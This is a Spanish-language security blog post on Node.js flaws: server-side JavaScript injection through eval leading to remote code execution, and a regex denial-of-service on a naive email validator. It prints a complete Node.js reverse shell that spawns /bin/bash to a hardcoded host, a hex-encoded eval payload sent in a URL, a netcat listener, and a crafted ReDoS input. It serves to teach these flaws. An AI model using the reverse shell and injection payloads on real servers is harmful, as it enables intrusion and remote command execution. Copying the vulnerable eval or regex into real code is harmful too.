En la parte dos de la serie se ha hablado sobre la aplicación web vulnerable por diseño llamada NodeGoat, una aplicación web sencilla y con vulnerabilidades que pueden ser bastante triviales y fáciles de descubrir, para no desvelar todas las cosas que se pueden probar en dicho sistema y dejar que el lector explore la aplicación por su cuenta, en ésta parte se verán algunas rutinas de código en Node.js que son consideradas riesgosas o que representan una vulnerabilidad que se puede explotar manualmente o incluso utilizando alguna herramienta de pentesting web automatizado.

RCE con vulnerabilidades SSJI

En el post anterior se ha visto que NodeGoat tiene una vulnerabilidad del tipo SSJI que permite la inyección de rutinas Javascript directamente en el lado del servidor, dichas rutinas evidentemente pueden hacer un uso completo de la API de Node.js y hacer prácticamente cualquier cosa. Por ejemplo, partamos del siguiente fragmento de código:

			
var express = require('express');
			
var app = express();
			
app.get('/', function(req, res) {
			
  var value=eval("("+req.query.param+")");
			
  res.send('OK');
			
});
			
app.listen(8080);
			

Es muy simple, pero además de utilizar la función insegura “eval”, el parámetro que se utiliza en dicha función, es recibido desde una petición de un cliente sin aplicar ningún tipo de validación, dando como resultado una vulnerabilidad de SSJI. Como se ha visto en la entrada anterior, se pueden ingresar instrucciones para matar el proceso del servidor, causando una condición de DoS, listar los ficheros de un directorio concreto o incluso, ejecutar instrucciones directamente contra el servidor. Partiendo del código anterior, se probará ahora a crear una reverse shell, algo que es sencillo si se conoce la lógica básica de los sockets y cómo establecer una conexión entre cliente y víctima. Evidentemente para hacerlo, es necesario tener código en Node.js que se encargue de realizar las invocaciones adecuadas a la socket API, algo que no es demasiado complejo de hacer y que en última instancia, nos permitirá enganchar al canal abierto entre cliente y víctima, una shell que permita ejecutar comandos sobre el sistema comprometido. Es fácil encontrar una reverse shell en Node.js, por ejemplo, en el siguiente enlace se encuentra el código mínimo que debería de contener: https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell en éste, la reverse shell que se utilizará será la siguiente:

var net = require('net');
var spawn = require('child_process').spawn;
HOST="192.168.1.113";
PORT="4444";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/bash',[]);
        client.write("Connected!.\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Canal cerrado!\\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);

Éste código tal cómo está funciona bien, sin embargo incluir todas éstas instrucciones directamente en la petición puede ser algo un poco más complicado, ya que es posible que algunos caracteres se escapen al realizar la petición y no lleguen todas las instrucciones completas, algo que hará que falle su ejecución. La solución es tan simple como códificar el script anterior y generar una cadena codificada que se pueda enviar directamente al servidor por medio de una petición HTTP sin que se pierdan caracteres por el camino. Para ello, se puede utilizar cualquier lenguaje de scripting que permita realizar un “encode” básico, en éste caso, se utiliza Python y concretamente, el procedimiento que se detalla en el siguiente repositorio de GitHub: https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell

Como se puede apreciar desde el interprete de Python se puede crear una variable del tipo String con el código de la reverse shell y posteriormente invocar a “encode”. Partiendo de la cadena generada por “encode” se puede enviar en el parámetro “param” algo como lo siguiente:

http://localhost:8080/?param=%5B«./;eval(new Buffer(‘CADENA CODIFICADA’, ‘hex’).toString());//*»]

Antes de hacerlo es necesario levantar un listener en el puerto 8080, como siempre, utilizar netcat resulta cómodo y efectivo. nc -lvvp 4444

 

 

Como se puede apreciar en la imagen anterior, la reverse shell funciona correctamente y se ha podido ganar acceso al sistema partiendo de la vulnerabilidad de SSJI descrita antes.

ReDoS en Node.js

Una de las cosas más comunes en aplicaciones web, independiente del lenguaje de programación, es la de validar números de teléfono, documentos o direcciones de correo electrónico y lo más común para hacer estas cosas, consiste precisamente en utilizar expresiones regulares que se encontrarán disponibles en Internet como por ejemplo “stack overflow”. En este punto resulta conveniente ver la siguiente portada de un libro que todo desarrollador que se precie, en algún momento habrá hecho o puesto en práctica.

 

 

Extraer código de Stack overflow o cualquier otro sitio en Internet no está mal, pero hay que hacerlo con cabeza. Por ejemplo, algo común es copiar y pegar expresiones regulares que si bien, hacen lo que tienen que hacer, a lo mejor en términos de rendimiento no son de lo más óptimo y aquí entra en juego el modelo de Node.js y la imposibilidad de aceptar otras conexiones por parte de otros clientes cuando el proceso principal se encuentra ocupado “haciendo otras cosas”. Ahora bien, en el siguiente código, se utiliza una expresión regular para validar una dirección de correo electrónico:

var http = require("http");
var url = require("url");
http.createServer(function(request, response) 
{
  var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
  response.write("User Input : "+ parsedUrl.query.email);
  response.write("Email Validation : "+ emailExpression.test( parsedUrl.query.email ));
  response.end();
}).listen(8000);

La expresión regular está bien, salvo por un detalle. Al final de la misma se puede apreciar que aunque los caracteres finales deben tener una longitud de entre 2 y 4, con “+$” se indica que dicha condición queda invalidada y permite ingresar una cadena con una longitud superior, haciendo que dependiendo de lo que ingrese el usuario, el tiempo de procesamiento sea cada vez más largo y ojo! que esta expresión se ha extraído de stack overflow: https://stackoverflow.com/questions/4640583/what-are-these-javascript-syntax-called-a-za-z0-9-a-za-z0-9

A efectos prácticos que significa esto? Bien, dejaré que lo veáis vosotros mismos. Qué pasa si por ejemplo se levanta el servidor express con el código anterior y se ejecuta la siguiente petición HTTP?

http://localhost:8000/?email=adastra@thehackerway.com

Nada interesante, se valida correctamente la dirección y enseña por pantalla que la validación es correcta. Y con lo siguiente?

http://localhost:8000/?email=jjjjjjjjjjjjjjjjjjjjjjjjjjjj@ccccccccccccccccccccccccccccc.555555555555555555555555555555555555555555555555555555{

Bien, indica que la validación es incorrecta, lo cual es normal dado que se ha ingresado una dirección de correo invalida, pero lo que es interesante en éste punto es que el tiempo de respuesta ha sido bastante más elevado que la petición anterior, llegando incluso a tardar algunos segundos.

Con esto creo que el lector ya se hace una idea a lo que se pretende llegar, si la cadena es suficientemente larga, justo después del “.” (punto) el servidor se quedará completamente bloqueado y sin la posibilidad de procesar peticiones por parte de otros clientes. Una condición de DoS típica. En otras plataformas, esto no es demasiado problemático, dado que hay un modelo basado en “thread-per request” y si un hilo se queda bloqueado o tarda mucho en responder, los demás clientes de la aplicación podrán utilizar algún otro que se encuentre disponible en el servidor (si lo hay) pero en éste caso no tenemos ese modelo, si el proceso principal se queda bloqueado, el servidor entero también y ninguna otra petición podrá ser procesada. Esto es una vulnerabilidad del tipo “ReDoS” (Regex DoS).

Esto es todo de momento, espero que os haya parecido útil/interesante y que lo podáis poner en práctica.

Un saludo y Happy Hack!
Adastra.